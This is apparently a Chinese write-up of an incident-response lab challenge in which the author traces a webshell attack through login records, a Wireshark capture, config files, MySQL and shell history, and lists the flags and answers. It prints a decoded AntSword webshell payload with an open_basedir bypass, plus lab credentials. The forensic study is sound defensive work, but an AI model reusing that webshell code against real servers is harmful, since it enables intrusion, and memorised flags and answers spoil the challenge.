一、背景

前景需要:看监控的时候发现webshell告警,领导让你上机检查你可以救救安服仔吗!!

1,提交攻击者IP

2,提交攻击者修改的管理员密码(明文)

3,提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)

3,提交Webshell连接密码

4,提交数据包的flag1

5,提交攻击者使用的后续上传的木马文件名称

6,提交攻击者隐藏的flag2

7,提交攻击者隐藏的flag3

相关账户密码:

root/Inch@957821.

二、IP

last

查看,找到对应的ip地址

192.168.20.1

image-20240503170842609

查看靶机端口开放情况

netstat -anotlp

发现nginx和mysql服务开启

image-20240506175439544

三、webshell名

发现root目录下存在流量包,传到主机中,使用wireshark进行分析

这是通过http过滤出来的第一个数据包,那么攻击者第一次Webshell的连接URL就是index.php?user-app-register,提交判题程序得知正确。

image-20240506180739988

四、flag1

流量包显示过滤器中输入http,发现flag1.php,追踪http流发现flag1

flag1{Network@_2020_Hack}

image-20240506180533980

image-20240506181324543

五、webshell连接密码

从上图http流中发现,Network2020密码,也可以看出这是使用蚁剑进行连接的,流量特征非常明显

Network2020

将这个编码进行解码,发现是个php文件

image-20240506181339376

PHP格式化,在线美化PHP代码-友沃可在线工具 (uvooc.com)

Network2020=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.6d08c1f8f0";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "d98988"."526a62";
echo @asenc($output);
echo "e06"."a6e9";
}
ob_start();
try {
$D=base64_decode(substr($_POST["x0b6b31b98f31d"],2));
$F=@opendir($D);
if($F==NULL) {
echo("ERROR:// Path Not Found Or No Permission!");
} else {
$M=NULL;
$L=NULL;
while($N=@readdir($F)) {
$P=$D.$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R=" ".$T." ".@filesize($P)." ".$E."
";
if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;
}
echo $M.$L;
@closedir($F);
}
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

在http流中发现文件路径,系统内核版本

image-20240506183002536

六、管理员密码

根据流量包中的找到的web路径,切换到相应的目录

没有发现有用信息,切换到lib目录,发现有个配置文件,config.inc.php文件

image-20240506184748694

查看这个配置文件,

在里面发现数据库的相关配置文件

image-20240506184811104

用户名:kaoshi

密码:5Sx8mK5ieyLPb84m

发现mysql数据库密码和账号后,想起之前发现3306端口开放,mysql服务在运行。

直接进入数据库

mysql -uroot -p5Sx8mK5ieyLPb84m
use kaoshi;
show tables;

image-20240506190450802

在数据库发现管理管理员加密后的密码,猜测这个可能就是问题2中修改后的管理员密码,

f6f6eb5ace977d7e114377cc7098b7e3

select * from x2_user;
select * from x2_user_group;

image-20240506190620777

将管理员加密后的密码,尝试解密,发现解密成功

密码为:Network@2020

image-20240506193631644

七、第二个木马名

从流量包中发现,第二个名字为version2.php

流量包中其中访问了一次version.php但是返回码是404,所以排查掉

攻击者可能是先使用蚁剑连接后,重新上传了一个新的木马。

image-20240506195450651

追踪对应包的http流

发现是冰蝎连接的,数据加密

image-20240506200208036

八、flag3

flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

流量包中没有任何线索,返回靶机进行排查,输入history命令,查看之前输入过的指令

在指令中发现flag3

image-20240506200538284

在历史记录中发现攻击者编辑了.api目录下的aliontify.php文件

切换到相应目录进行查看

image-20240506201250073

image-20240506200656769

在这个文件的最后一行发现flag2

$flag2 = “flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}”

image-20240506201215473

image-20240506202325453

虽然找到全部的flag但是感觉思路比较乱,数据库管理员密码需要从配置文件中获取,感觉思路不太对,应该是漏掉了相应的提示。

在历史执行的命令中发现bt命令,说明服务器存在宝塔面板,猜测宝塔面板中应该有其他线索。但是由于已经找到了全部答案,所以没有进入面板查看。